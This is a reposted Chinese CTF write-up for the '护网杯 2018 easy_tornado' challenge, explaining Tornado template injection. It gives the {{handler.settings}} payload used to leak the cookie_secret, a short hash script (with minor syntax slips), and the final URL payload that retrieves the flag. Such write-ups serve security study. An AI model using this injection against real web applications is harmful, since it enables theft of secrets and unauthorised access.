码迷,mamicode.com
首页 > 其他好文 > 详细

模版注入

时间:2021-06-02 20:12:27      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:img   完美   www   digest   sock   lag   md5值   acdb   用户   

来源[护网杯 2018]easy_tornado

tornado

Tornado 是一个基于Python的Web服务框架和 异步网络库, 最早开发与 FriendFeed 公司. 通过利用非阻塞网络 I/O, Tornado 可以承载成千上万的活动连接, 完美的实现了 长连接, WebSockets, 和其他对于每一位用户来说需要长连接的程序.

访问三个文件得到以下三个提示

  1. flag in /fllllllllllllag   inurl:?filename=/flag.txt&filehash=a48445b7caf31c60aaa34e1a9b0a1cb2
  2. render    inurl:?filename=/welcome.txt&filehash=11a55429950f057ce8f3acdbb073ff46
  3. md5(cookie_secret+md5(filename))   inurl:?filename=/hints.txt&filehash=fb47e430a9ba51fa5a8e44fdd96dfc3f

分析一下感觉payload格式应该为?filename=/fllllllllllllag&filehash=??????

render() 

参考python SSTI tornado render模板注入 - Hanamizuki花水木 - 博客园 (cnblogs.com)

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

根据文章,尝试访问url/error?msg=ERROR得到如下,即存在模版注入漏洞

技术图片

md5

 根据提示,我们需要获取cookie_secret,于是我们可以利用上述漏洞,访问url/error?msg={{handler.settings}} ,得到

技术图片

之后进行md5加密,可以通过以下py代码实现来源

import hashlib

hash = hashlib.md5()
filename=/fllllllllllllag
cookie_secret="b3be3f3c-abf9-4b1c-b184-988fecaeea98"
hash.update(filename.encode(utf-8))
name=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+name).encode(utf-8))
print(hash.hexdigest())

得到md5值dbf87f88b1b34da97d799c65827a7e34

payload

?filename=/fllllllllllllag&filehash=dbf87f88b1b34da97d799c65827a7e34

得到flag

技术图片

 

模版注入

标签:img   完美   www   digest   sock   lag   md5值   acdb   用户   

原文地址:https://www.cnblogs.com/llllll7/p/14837928.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!